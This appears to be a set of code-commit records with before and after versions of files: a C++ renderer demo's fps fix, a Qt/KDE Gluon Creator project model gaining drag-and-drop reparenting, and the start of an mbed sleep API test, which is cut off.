deltaY*0.25f;\n\t} else {\n\t\tm_radius += 0.05f  * deltaX;\n\t}\n\tupdateView();\n\n\treturn true;\n}\n\nvoid DemoAppBase::updateView() {\n\n\tm_phi = max(m_phi, 0.5f);\n\tm_phi = min(m_phi, PI - 0.5f);\n\n\tm_radius = max(m_radius, m_minRadius);\n\tm_radius = min(m_radius, m_maxRadius);\n\n\tconst auto cosTheta = std::cos(m_theta);\n\tconst auto sinTheta = std::sin(m_theta);\n\tconst auto cosPhi = std::cos(m_phi);\n\tconst auto sinPhi = std::sin(m_phi);\n\tconst float x = m_radius*cosTheta*sinPhi;\n\tconst float z = m_radius*sinTheta*sinPhi;\n\tconst float y = m_radius*cosPhi;\n\tm_camera.lookAt(SoftRP::Math::Vector3{ x, y, z }, m_lookAt);\n}\n\nvoid DemoAppBase::setWindowText(const std::wstring& text) {\n\tm_messageString = std::wstring{L\", \"} + text;\n}\n\nvoid DemoAppBase::setWindowText(std::wstring&& text) {\n\tm_messageString = std::wstring{ L\", \" } + std::move(text);\n}<commit_msg>Fixed wrong fps computation<commit_after>#include \"DemoAppBase.h\"\n\nusing namespace SoftRPDemo;\n\nDemoAppBase::DemoAppBase(HINSTANCE hInstance, unsigned int width, unsigned int height)\n\t\t:SingleWindowApp(hInstance, width, height), m_viewPort{ getWidth(), getHeight() },\n\t\t\tm_renderTarget{}, m_depthBuffer{ getWidth(), getHeight() },\n\t\t\tm_inputVertexLayout{ SoftRP::InputVertexLayout::create(std::vector<size_t>{}) },\n\t\t\tm_outputVertexLayout{ SoftRP::OutputVertexLayout::create(0) } {\n\t\t\n\tm_lastTime = std::chrono::high_resolution_clock::now();\n\tupdateView();\n}\n\nvoid DemoAppBase::onUpdate(){\n\n\tconst auto now = std::chrono::high_resolution_clock::now();\n\tauto delta = std::chrono::duration_cast<std::chrono::milliseconds>(now - m_lastTime);\n\n\trenderFrame(delta.count());\n\n\tm_lastTime = now;\n\tm_millis += delta;\n\tm_frameCount++;\n\n\tstd::wstring delta_str = std::to_wstring(delta.count());\n\n\tif (m_millis >= std::chrono::milliseconds{ 1000 }) {\n\t\tm_fpsString = std::to_wstring(m_frameCount);\n\t\tm_frameCount = 0;\n\t\tm_millis = m_millis - std::chrono::milliseconds{ 1000 };\n\t}\n\tSetWindowText(getWindowHandle(), \n\t\t\t\t  (delta_str + std::wstring{ L\" ms, \" } + m_fpsString + std::wstring{ L\" FPS\" } + m_messageString).c_str());\n}\n\nvoid DemoAppBase::onResize(){\n\n\tunsigned int width = getWidth();\n\tunsigned int height = getHeight();\n\n\tm_viewPort = SoftRP::ViewPort{ width, height };\n\n\tm_depthBuffer.resize(width, height);\n\n\tm_camera.makePerspective(static_cast<float>(width) \/ static_cast<float>(height));\n\n\tm_renderTarget.setWindowHandle(getWindowHandle());\n\tm_renderTarget.resize(getWidth(), getHeight());\n}\n\nbool DemoAppBase::onMouseDown(MouseButton mouseButton, MousePos mousePos){\n\tif (mouseButton == MouseButton::MIDDLE)\n\t\treturn false;\n\tSetCapture(getWindowHandle());\n\tm_lastMousePos.mouseX = mousePos.mouseX;\n\tm_lastMousePos.mouseY = mousePos.mouseY;\n\tm_mouseCaptured = true;\n\tm_leftButtonDown = mouseButton == MouseButton::LEFT;\n\treturn true;\n}\n\nbool DemoAppBase::onMouseUp(MouseButton mouseButton, MousePos mousePos) {\n\tif (mouseButton == MouseButton::MIDDLE)\n\t\treturn false;\n\tReleaseCapture();\n\tm_mouseCaptured = false;\n\treturn true;\n}\n\nbool DemoAppBase::onMouseMove(MousePos mousePos){\n\tif (!m_mouseCaptured)\n\t\treturn false;\n\n\tfloat deltaX = degsToRadians(static_cast<float>(mousePos.mouseX - m_lastMousePos.mouseX));\n\tfloat deltaY = degsToRadians(static_cast<float>(mousePos.mouseY - m_lastMousePos.mouseY));\n\tm_lastMousePos.mouseX = mousePos.mouseX;\n\tm_lastMousePos.mouseY = mousePos.mouseY;\n\n\tif (m_leftButtonDown) {\n\t\tm_theta += deltaX* 0.25f;\n\t\tm_phi += deltaY*0.25f;\n\t} else {\n\t\tm_radius += 0.05f  * deltaX;\n\t}\n\tupdateView();\n\n\treturn true;\n}\n\nvoid DemoAppBase::updateView() {\n\n\tm_phi = max(m_phi, 0.5f);\n\tm_phi = min(m_phi, PI - 0.5f);\n\n\tm_radius = max(m_radius, m_minRadius);\n\tm_radius = min(m_radius, m_maxRadius);\n\n\tconst auto cosTheta = std::cos(m_theta);\n\tconst auto sinTheta = std::sin(m_theta);\n\tconst auto cosPhi = std::cos(m_phi);\n\tconst auto sinPhi = std::sin(m_phi);\n\tconst float x = m_radius*cosTheta*sinPhi;\n\tconst float z = m_radius*sinTheta*sinPhi;\n\tconst float y = m_radius*cosPhi;\n\tm_camera.lookAt(SoftRP::Math::Vector3{ x, y, z }, m_lookAt);\n}\n\nvoid DemoAppBase::setWindowText(const std::wstring& text) {\n\tm_messageString = std::wstring{L\", \"} + text;\n}\n\nvoid DemoAppBase::setWindowText(std::wstring&& text) {\n\tm_messageString = std::wstring{ L\", \" } + std::move(text);\n}<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#include \"projectmodel.h\"\n\n#include \"core\/gluonobject.h\"\n#include \"core\/debughelper.h\"\n#include \"engine\/game.h\"\n#include \"engine\/gameproject.h\"\n#include \"engine\/asset.h\"\n#include \"engine\/scene.h\"\n\n#include <KDebug>\n#include <KLocalizedString>\n#include <KMimeType>\n#include <KIcon>\n\n#include <QtCore\/QMimeData>\n#include <kmimetype.h>\n#include <QtCore\/QFileInfo>\n#include <engine\/filelocation.h>\n#include <QDir>\n#include <historymanager.h>\n#include <objectmanager.h>\n\nusing namespace GluonCreator;\n\nclass ProjectModel::ProjectModelPrivate\n{\n    public:\n        ProjectModelPrivate()\n        {\n            root = 0;\n            project = 0;\n        }\n\n        QObject* root;\n        GluonEngine::GameProject* project;\n\n        QStringList acceptedMimeTypes;\n};\n\nProjectModel::ProjectModel( QObject* parent ): QAbstractItemModel( parent ), d( new ProjectModelPrivate )\n{\n    connect( HistoryManager::instance(), SIGNAL( historyChanged( const QUndoCommand* ) ), SIGNAL( layoutChanged() ) );\n}\n\nProjectModel::~ProjectModel()\n{\n    delete d;\n}\n\n\nGluonEngine::GameProject*\nProjectModel::project()\n{\n    return d->project;\n}\n\nvoid\nProjectModel::setProject( GluonEngine::GameProject* project )\n{\n    if( project )\n    {\n        d->root = new QObject( this );\n        d->project = project;\n        project->setParent( d->root );\n\n        reset();\n    }\n}\n\nQVariant\nProjectModel::data( const QModelIndex& index, int role ) const\n{\n    if( !index.isValid() )\n        return QVariant();\n\n    if( role == Qt::DecorationRole )\n    {\n        GluonCore::GluonObject* gobj = qobject_cast<GluonCore::GluonObject*>( static_cast<QObject*>( index.internalPointer() ) );\n        if( gobj )\n        {\n            QVariant filename = gobj->property( \"file\" );\n            QString classname( gobj->metaObject()->className() );\n            if( classname == QLatin1String( \"GluonCore::GluonObject\" ) )\n            {\n                \/\/ In this case we're dealing with something which is a \"folder\"... show it as such\n                return KIcon( \"folder\" );\n            }\n            if( qobject_cast<GluonEngine::Asset*>( gobj ) )\n            {\n                QIcon icon = qobject_cast<GluonEngine::Asset*>( gobj )->icon();\n                if( icon.isNull() )\n                {\n                    if( filename.isValid() )\n                    {\n                        \/\/ If the asset doesn't provide an icon itself, but we do have a filename\n                        \/\/ Get the icon for the mimetype of that url\n                        QString name = filename.value<QString>();\n                        return KIcon( KMimeType::iconNameForUrl( KUrl( name ) ) );\n                    }\n                    else\n                        return KIcon( \"unknown\" );\n                }\n                return icon;\n            }\n            else\n                return KIcon( \"text-x-generic\" );\n        }\n    }\n\n    if( role == Qt::DisplayRole || role == Qt::EditRole )\n    {\n        GluonCore::GluonObject* gobj = qobject_cast<GluonCore::GluonObject*>( static_cast<QObject*>( index.internalPointer() ) );\n        if( gobj )\n            return gobj->name();\n    }\n\n    return QVariant();\n}\n\nint\nProjectModel::columnCount( const QModelIndex& parent ) const\n{\n    Q_UNUSED( parent )\n    return 1;\n}\n\nint\nProjectModel::rowCount( const QModelIndex& parent ) const\n{\n    if( parent.column() > 0 )\n        return 0;\n\n    QObject* parentItem = d->root;\n    if( parent.isValid() )\n        parentItem = static_cast<QObject*>( parent.internalPointer() );\n\n    if( parentItem )\n    {\n        if( qobject_cast<GluonCore::GluonObject*>( parentItem ) )\n        {\n            if( qobject_cast<GluonEngine::Scene*>( parentItem ) )\n                return 0;\n\n            int childCount = 0;\n            const QObjectList allChildren = parentItem->children();\n            foreach( const QObject * child, allChildren )\n            {\n                if( qobject_cast<const GluonCore::GluonObject* >( child ) )\n                    ++childCount;\n            }\n            return childCount;\n        }\n        else\n            return parentItem->children().count();\n    }\n\n    return 0;\n}\n\nQModelIndex\nProjectModel::parent( const QModelIndex& child ) const\n{\n    if( !child.isValid() )\n        return QModelIndex();\n\n    QObject* childItem = static_cast<QObject*>( child.internalPointer() );\n    QObject* parentItem = childItem->parent();\n\n    if( parentItem == d->root )\n        return QModelIndex();\n\n    QObject* grandParent = parentItem->parent();\n    if( grandParent )\n    {\n        int childCount = -1;\n        const QObjectList allChildren = grandParent->children();\n        foreach( const QObject * grandChild, allChildren )\n        {\n            if( qobject_cast<const GluonCore::GluonObject* >( grandChild ) )\n                ++childCount;\n            if( grandChild == parentItem )\n                return createIndex( childCount, 0, parentItem );\n        }\n    }\n    return createIndex( -1, 0, grandParent );\n}\n\nQModelIndex\nProjectModel::index( int row, int column, const QModelIndex& parent ) const\n{\n    if( !hasIndex( row, column, parent ) )\n        return QModelIndex();\n\n    QObject* parentItem = d->root;\n    if( parent.isValid() )\n        parentItem = static_cast<QObject*>( parent.internalPointer() );\n\n    int childCount = -1;\n    const QObjectList allChildren = parentItem->children();\n    foreach( const QObject * child, allChildren )\n    {\n        if( qobject_cast<const GluonCore::GluonObject*>( child ) )\n            ++childCount;\n        if( childCount == row )\n            return createIndex( row, column, const_cast<QObject*>( child ) );\n    }\n\n    return QModelIndex();\n}\n\nQVariant\nProjectModel::headerData( int section, Qt::Orientation orientation, int role ) const\n{\n    Q_UNUSED( section )\n    Q_UNUSED( orientation )\n    Q_UNUSED( role )\n\n    return QVariant();\n}\n\nQt::DropActions\nProjectModel::supportedDropActions() const\n{\n    return Qt::CopyAction | Qt::MoveAction | Qt::LinkAction;\n}\n\nQt::ItemFlags\nProjectModel::flags( const QModelIndex& index ) const\n{\n    if( index.isValid() )\n    {\n        \/\/QObject* obj = static_cast<QObject*>( index.internalPointer() );\n        GluonEngine::Asset* obj = qobject_cast<GluonEngine::Asset*>(static_cast<QObject*>(index.internalPointer()));\n        \/\/ One does not simply drop Assets into Mord...other Assets!\n        if( obj )\/\/->inherits( \"GluonEngine::Asset\" ) )\n        {\n            return QAbstractItemModel::flags( index ) | Qt::ItemIsDragEnabled | Qt::ItemIsEditable | Qt::ItemIsEnabled | Qt::ItemIsSelectable;\n        }\n        else\n        {\n            return QAbstractItemModel::flags( index ) | Qt::ItemIsDragEnabled | Qt::ItemIsEditable | Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsDropEnabled;\n        }\n    }\n    else\n    {\n        return Qt::ItemIsDropEnabled;\n    }\n}\n\nQStringList\nProjectModel::mimeTypes() const\n{\n    if( d->acceptedMimeTypes.count() < 1 )\n    {\n        DEBUG_FUNC_NAME\n        d->acceptedMimeTypes.append( \"application\/gluoncreator.projectmodel.gluonobject\" );\n        d->acceptedMimeTypes.append( \"text\/uri-list\" );\n        d->acceptedMimeTypes.append( GluonCore::GluonObjectFactory::instance()->objectMimeTypes() );\n        foreach( const QString & theName, d->acceptedMimeTypes )\n        {\n            DEBUG_TEXT( QString( \"%1\" ).arg( theName ) );\n        }\n    }\n\n    return d->acceptedMimeTypes;\n}\n\nQMimeData* ProjectModel::mimeData( const QModelIndexList& indexes ) const\n{\n    if( indexes.count() <= 0 )\n        return 0;\n\n    QStringList types = mimeTypes();\n    if( types.isEmpty() )\n        return 0;\n\n    QMimeData* data = new QMimeData();\n    QByteArray encodedData;\n\n    QDataStream stream( &encodedData, QIODevice::WriteOnly );\n\n    \/\/ There should really only be one, but let's do the loop-de-loop anyway\n    foreach( const QModelIndex & index, indexes )\n    {\n        if( index.isValid() )\n        {\n            const GluonEngine::Asset* item = static_cast<GluonEngine::Asset*>( index.internalPointer() );\n            if( item )\n            {\n                QString text = item->fullyQualifiedName();\n                stream << text;\n            }\n        }\n    }\n\n    data->setData( \"application\/gluoncreator.projectmodel.gluonobject\", encodedData );\n\n    return data;\n}\n\nbool\nProjectModel::dropMimeData( const QMimeData* data, Qt::DropAction action, int row, int column, const QModelIndex& parent )\n{\n    Q_UNUSED( row )\n    Q_UNUSED( column )\n    DEBUG_FUNC_NAME\n\n    if( action == Qt::IgnoreAction )\n        return false;\n\n    if( data->hasUrls() )\n    {\n        foreach( const QUrl & theUrl, data->urls() )\n        {\n            ObjectManager::instance()->createNewAsset( theUrl.toLocalFile() );\n        }\n        return true;\n    }\n    else if( data->hasFormat( \"application\/gluoncreator.projectmodel.gluonobject\" ) )\n    {\n        QByteArray encodedData = data->data( \"application\/gluoncreator.projectmodel.gluonobject\" );\n        QDataStream stream( &encodedData, QIODevice::ReadOnly );\n        QStringList newItems;\n        int rows = 0;\n\n        while( !stream.atEnd() )\n        {\n            QString text;\n            stream >> text;\n            newItems << text;\n            ++rows;\n        }\n\n        DEBUG_TEXT2(\"Dropped item %1\", newItems.join(\" and \"));\n        return true;\n    }\n\n    return false;\n}\n\n\nbool\nProjectModel::setData( const QModelIndex& index, const QVariant& value, int role )\n{\n    if( index.isValid() && role == Qt::EditRole )\n    {\n        static_cast<GluonCore::GluonObject*>( index.internalPointer() )->setName( value.toString() );\n        emit dataChanged( index, index );\n        return true;\n    }\n    return false;\n}\n\nbool\nProjectModel::removeRows( int row, int count, const QModelIndex& parent )\n{\n    DEBUG_FUNC_NAME\n    if( !parent.isValid() )\n        return false;\n\n    if( count < 1 )\n        return false;\n\n    GluonCore::GluonObject* parentObject = static_cast<GluonCore::GluonObject*>( parent.internalPointer() );\n    DEBUG_TEXT( \"Object removal begins...\" );\n\n    beginRemoveRows( parent, row, row + count - 1 );\n    for( int i = row; i < row + count; ++i )\n    {\n        DEBUG_TEXT( QString( \"Removing child at row %1\" ).arg( i ) );\n        GluonCore::GluonObject* child = parentObject->child( row );\n        if( parentObject->removeChild( child ) )\n            delete child;\n    }\n    endRemoveRows();\n\n    return true;\n}\n\nvoid ProjectModel::addChild( QObject* newChild, QModelIndex& parent )\n{\n    if( parent.isValid() )\n    {\n        GluonCore::GluonObject* parentObject = static_cast<GluonCore::GluonObject*>( parent.internalPointer() );\n\n        GluonCore::GluonObject* newObject = qobject_cast<GluonCore::GluonObject*>( newChild );\n        if( newChild->parent() == parentObject )\n        {\n            \/\/Remove the children from the parent to let rowCount return\n            \/\/an exact count.\n            parentObject->removeChild( newObject );\n        }\n        int rcount = rowCount( parent );\n        beginInsertRows( parent, rcount, rcount );\n\n        parentObject->addChild( newObject );\n\n        endInsertRows();\n    }\n}\n\n\/\/#include \"projectmodel.moc\"\n<commit_msg>Move the dropped object in the Project tree to its new parent<commit_after>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#include \"projectmodel.h\"\n\n#include \"core\/gluonobject.h\"\n#include \"core\/debughelper.h\"\n#include \"engine\/game.h\"\n#include \"engine\/gameproject.h\"\n#include \"engine\/asset.h\"\n#include \"engine\/scene.h\"\n\n#include <KDebug>\n#include <KLocalizedString>\n#include <KMimeType>\n#include <KIcon>\n\n#include <QtCore\/QMimeData>\n#include <kmimetype.h>\n#include <QtCore\/QFileInfo>\n#include <engine\/filelocation.h>\n#include <QDir>\n#include <historymanager.h>\n#include <objectmanager.h>\n\nusing namespace GluonCreator;\n\nclass ProjectModel::ProjectModelPrivate\n{\n    public:\n        ProjectModelPrivate()\n        {\n            root = 0;\n            project = 0;\n        }\n\n        QObject* root;\n        GluonEngine::GameProject* project;\n\n        QStringList acceptedMimeTypes;\n};\n\nProjectModel::ProjectModel( QObject* parent ): QAbstractItemModel( parent ), d( new ProjectModelPrivate )\n{\n    connect( HistoryManager::instance(), SIGNAL( historyChanged( const QUndoCommand* ) ), SIGNAL( layoutChanged() ) );\n}\n\nProjectModel::~ProjectModel()\n{\n    delete d;\n}\n\n\nGluonEngine::GameProject*\nProjectModel::project()\n{\n    return d->project;\n}\n\nvoid\nProjectModel::setProject( GluonEngine::GameProject* project )\n{\n    if( project )\n    {\n        d->root = new QObject( this );\n        d->project = project;\n        project->setParent( d->root );\n\n        reset();\n    }\n}\n\nQVariant\nProjectModel::data( const QModelIndex& index, int role ) const\n{\n    if( !index.isValid() )\n        return QVariant();\n\n    if( role == Qt::DecorationRole )\n    {\n        GluonCore::GluonObject* gobj = qobject_cast<GluonCore::GluonObject*>( static_cast<QObject*>( index.internalPointer() ) );\n        if( gobj )\n        {\n            QVariant filename = gobj->property( \"file\" );\n            QString classname( gobj->metaObject()->className() );\n            if( classname == QLatin1String( \"GluonCore::GluonObject\" ) )\n            {\n                \/\/ In this case we're dealing with something which is a \"folder\"... show it as such\n                return KIcon( \"folder\" );\n            }\n            if( qobject_cast<GluonEngine::Asset*>( gobj ) )\n            {\n                QIcon icon = qobject_cast<GluonEngine::Asset*>( gobj )->icon();\n                if( icon.isNull() )\n                {\n                    if( filename.isValid() )\n                    {\n                        \/\/ If the asset doesn't provide an icon itself, but we do have a filename\n                        \/\/ Get the icon for the mimetype of that url\n                        QString name = filename.value<QString>();\n                        return KIcon( KMimeType::iconNameForUrl( KUrl( name ) ) );\n                    }\n                    else\n                        return KIcon( \"unknown\" );\n                }\n                return icon;\n            }\n            else\n                return KIcon( \"text-x-generic\" );\n        }\n    }\n\n    if( role == Qt::DisplayRole || role == Qt::EditRole )\n    {\n        GluonCore::GluonObject* gobj = qobject_cast<GluonCore::GluonObject*>( static_cast<QObject*>( index.internalPointer() ) );\n        if( gobj )\n            return gobj->name();\n    }\n\n    return QVariant();\n}\n\nint\nProjectModel::columnCount( const QModelIndex& parent ) const\n{\n    Q_UNUSED( parent )\n    return 1;\n}\n\nint\nProjectModel::rowCount( const QModelIndex& parent ) const\n{\n    if( parent.column() > 0 )\n        return 0;\n\n    QObject* parentItem = d->root;\n    if( parent.isValid() )\n        parentItem = static_cast<QObject*>( parent.internalPointer() );\n\n    if( parentItem )\n    {\n        if( qobject_cast<GluonCore::GluonObject*>( parentItem ) )\n        {\n            if( qobject_cast<GluonEngine::Scene*>( parentItem ) )\n                return 0;\n\n            int childCount = 0;\n            const QObjectList allChildren = parentItem->children();\n            foreach( const QObject * child, allChildren )\n            {\n                if( qobject_cast<const GluonCore::GluonObject* >( child ) )\n                    ++childCount;\n            }\n            return childCount;\n        }\n        else\n            return parentItem->children().count();\n    }\n\n    return 0;\n}\n\nQModelIndex\nProjectModel::parent( const QModelIndex& child ) const\n{\n    if( !child.isValid() )\n        return QModelIndex();\n\n    QObject* childItem = static_cast<QObject*>( child.internalPointer() );\n    QObject* parentItem = childItem->parent();\n\n    if( parentItem == d->root )\n        return QModelIndex();\n\n    QObject* grandParent = parentItem->parent();\n    if( grandParent )\n    {\n        int childCount = -1;\n        const QObjectList allChildren = grandParent->children();\n        foreach( const QObject * grandChild, allChildren )\n        {\n            if( qobject_cast<const GluonCore::GluonObject* >( grandChild ) )\n                ++childCount;\n            if( grandChild == parentItem )\n                return createIndex( childCount, 0, parentItem );\n        }\n    }\n    return createIndex( -1, 0, grandParent );\n}\n\nQModelIndex\nProjectModel::index( int row, int column, const QModelIndex& parent ) const\n{\n    if( !hasIndex( row, column, parent ) )\n        return QModelIndex();\n\n    QObject* parentItem = d->root;\n    if( parent.isValid() )\n        parentItem = static_cast<QObject*>( parent.internalPointer() );\n\n    int childCount = -1;\n    const QObjectList allChildren = parentItem->children();\n    foreach( const QObject * child, allChildren )\n    {\n        if( qobject_cast<const GluonCore::GluonObject*>( child ) )\n            ++childCount;\n        if( childCount == row )\n            return createIndex( row, column, const_cast<QObject*>( child ) );\n    }\n\n    return QModelIndex();\n}\n\nQVariant\nProjectModel::headerData( int section, Qt::Orientation orientation, int role ) const\n{\n    Q_UNUSED( section )\n    Q_UNUSED( orientation )\n    Q_UNUSED( role )\n\n    return QVariant();\n}\n\nQt::DropActions\nProjectModel::supportedDropActions() const\n{\n    return Qt::CopyAction | Qt::MoveAction | Qt::LinkAction;\n}\n\nQt::ItemFlags\nProjectModel::flags( const QModelIndex& index ) const\n{\n    if( index.isValid() )\n    {\n        \/\/QObject* obj = static_cast<QObject*>( index.internalPointer() );\n        GluonEngine::Asset* obj = qobject_cast<GluonEngine::Asset*>(static_cast<QObject*>(index.internalPointer()));\n        \/\/ One does not simply drop Assets into Mord...other Assets!\n        if( obj )\/\/->inherits( \"GluonEngine::Asset\" ) )\n        {\n            return QAbstractItemModel::flags( index ) | Qt::ItemIsDragEnabled | Qt::ItemIsEditable | Qt::ItemIsEnabled | Qt::ItemIsSelectable;\n        }\n        else\n        {\n            return QAbstractItemModel::flags( index ) | Qt::ItemIsDragEnabled | Qt::ItemIsEditable | Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsDropEnabled;\n        }\n    }\n    else\n    {\n        return Qt::ItemIsDropEnabled;\n    }\n}\n\nQStringList\nProjectModel::mimeTypes() const\n{\n    if( d->acceptedMimeTypes.count() < 1 )\n    {\n        DEBUG_FUNC_NAME\n        d->acceptedMimeTypes.append( \"application\/gluoncreator.projectmodel.gluonobject\" );\n        d->acceptedMimeTypes.append( \"text\/uri-list\" );\n        d->acceptedMimeTypes.append( GluonCore::GluonObjectFactory::instance()->objectMimeTypes() );\n        foreach( const QString & theName, d->acceptedMimeTypes )\n        {\n            DEBUG_TEXT( QString( \"%1\" ).arg( theName ) );\n        }\n    }\n\n    return d->acceptedMimeTypes;\n}\n\nQMimeData* ProjectModel::mimeData( const QModelIndexList& indexes ) const\n{\n    if( indexes.count() <= 0 )\n        return 0;\n\n    QStringList types = mimeTypes();\n    if( types.isEmpty() )\n        return 0;\n\n    QMimeData* data = new QMimeData();\n    QByteArray encodedData;\n\n    QDataStream stream( &encodedData, QIODevice::WriteOnly );\n\n    \/\/ There should really only be one, but let's do the loop-de-loop anyway\n    foreach( const QModelIndex & index, indexes )\n    {\n        if( index.isValid() )\n        {\n            const GluonEngine::Asset* item = static_cast<GluonEngine::Asset*>( index.internalPointer() );\n            if( item )\n            {\n                QString text = item->fullyQualifiedName();\n                stream << text;\n            }\n        }\n    }\n\n    data->setData( \"application\/gluoncreator.projectmodel.gluonobject\", encodedData );\n\n    return data;\n}\n\nbool\nProjectModel::dropMimeData( const QMimeData* data, Qt::DropAction action, int row, int column, const QModelIndex& parent )\n{\n    Q_UNUSED( row )\n    Q_UNUSED( column )\n    DEBUG_FUNC_NAME\n\n    if( action == Qt::IgnoreAction )\n        return false;\n\n    if( data->hasUrls() )\n    {\n        foreach( const QUrl & theUrl, data->urls() )\n        {\n            ObjectManager::instance()->createNewAsset( theUrl.toLocalFile() );\n        }\n        return true;\n    }\n    else if( data->hasFormat( \"application\/gluoncreator.projectmodel.gluonobject\" ) )\n    {\n        QByteArray encodedData = data->data( \"application\/gluoncreator.projectmodel.gluonobject\" );\n        QDataStream stream( &encodedData, QIODevice::ReadOnly );\n        QStringList newItems;\n        int rows = 0;\n\n        while( !stream.atEnd() )\n        {\n            QString text;\n            stream >> text;\n            newItems << text;\n            ++rows;\n        }\n\n        foreach(const QString& item, newItems)\n        {\n            GluonCore::GluonObject* itemObject = d->project->findItemByName(item);\n            if( itemObject )\n            {\n                GluonCore::GluonObject* newParentObject = static_cast<GluonCore::GluonObject*>(parent.internalPointer());\n                newParentObject->addChild(itemObject);\n            }\n        }\n        return true;\n    }\n\n    return false;\n}\n\n\nbool\nProjectModel::setData( const QModelIndex& index, const QVariant& value, int role )\n{\n    if( index.isValid() && role == Qt::EditRole )\n    {\n        static_cast<GluonCore::GluonObject*>( index.internalPointer() )->setName( value.toString() );\n        emit dataChanged( index, index );\n        return true;\n    }\n    return false;\n}\n\nbool\nProjectModel::removeRows( int row, int count, const QModelIndex& parent )\n{\n    DEBUG_FUNC_NAME\n    if( !parent.isValid() )\n        return false;\n\n    if( count < 1 )\n        return false;\n\n    GluonCore::GluonObject* parentObject = static_cast<GluonCore::GluonObject*>( parent.internalPointer() );\n    DEBUG_TEXT( \"Object removal begins...\" );\n\n    beginRemoveRows( parent, row, row + count - 1 );\n    for( int i = row; i < row + count; ++i )\n    {\n        DEBUG_TEXT( QString( \"Removing child at row %1\" ).arg( i ) );\n        GluonCore::GluonObject* child = parentObject->child( row );\n        if( parentObject->removeChild( child ) )\n            delete child;\n    }\n    endRemoveRows();\n\n    return true;\n}\n\nvoid ProjectModel::addChild( QObject* newChild, QModelIndex& parent )\n{\n    if( parent.isValid() )\n    {\n        GluonCore::GluonObject* parentObject = static_cast<GluonCore::GluonObject*>( parent.internalPointer() );\n\n        GluonCore::GluonObject* newObject = qobject_cast<GluonCore::GluonObject*>( newChild );\n        if( newChild->parent() == parentObject )\n        {\n            \/\/Remove the children from the parent to let rowCount return\n            \/\/an exact count.\n            parentObject->removeChild( newObject );\n        }\n        int rcount = rowCount( parent );\n        beginInsertRows( parent, rcount, rcount );\n\n        parentObject->addChild( newObject );\n\n        endInsertRows();\n    }\n}\n\n\/\/#include \"projectmodel.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/* mbed Microcontroller Library\n * Copyright (c) 2017 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#if 1 || !DEVICE_SLEEP\n#error [NOT_SUPPORTED] sleep not supported for this target\n#endif\n\n#include \"mbed.h\"\n\n#include \"utest\/utest.h\"\n#include \"unity\/unity.h\"\n#include \"greentea-client\/test_env.h\"\n\n#include \"sleep_api_tests.h\"\n\n#define US_PER_S 1000000\n\nusing namespace utest::v1;\n\n\/* The following ticker frequencies are possible:\n * high frequency ticker: 250 KHz (1 tick per 4 us) - 8 Mhz (1 tick per 1\/8 us)\n * low power ticker: 8 KHz (1 tick per 125 us) - 64 KHz (1 tick per ~15.6 us)\n *\/\n\n\/* Used for regular sleep mode, a target should be awake within 10 us. Define us delta value as follows:\n * delta = default 10 us + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t sleep_mode_delta_us = (10 + 4 + 5);\n\n\/* Used for deep-sleep mode, a target should be awake within 10 ms. Define us delta value as follows:\n * delta = default 10 ms + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t deepsleep_mode_delta_us = (10000 + 125 + 5);\n\nunsigned int ticks_to_us(unsigned int ticks, unsigned int freq)\n{\n    return (unsigned int) ((unsigned long long) ticks * US_PER_S \/ freq);\n}\n\nunsigned int us_to_ticks(unsigned int us, unsigned int freq)\n{\n    return (unsigned int) ((unsigned long long) us * freq \/ US_PER_S);\n}\n\nunsigned int overflow_protect(unsigned int timestamp, unsigned int ticker_width)\n{\n    unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n    return (timestamp & counter_mask);\n}\n\nbool compare_timestamps(unsigned int delta_ticks, unsigned int ticker_width, unsigned int expected, unsigned int actual)\n{\n    const unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n    const unsigned int lower_bound = ((expected - delta_ticks) & counter_mask);\n    const unsigned int upper_bound = ((expected + delta_ticks) & counter_mask);\n\n    if (lower_bound < upper_bound) {\n        if (actual >= lower_bound && actual <= upper_bound) {\n            return true;\n        } else {\n            return false;\n        }\n    } else {\n        if ((actual >= lower_bound && actual <= counter_mask) || (actual >= 0 && actual <= upper_bound)) {\n            return true;\n        } else {\n            return false;\n        }\n    }\n}\n\nvoid us_ticker_isr(const ticker_data_t * const ticker_data)\n{\n    us_ticker_clear_interrupt();\n}\n\n#ifdef DEVICE_LPTICKER\nvoid lp_ticker_isr(const ticker_data_t *const ticker_data)\n{\n    lp_ticker_clear_interrupt();\n}\n#endif\n\n\/* Test that wake-up time from sleep should be less than 10 us and\n * high 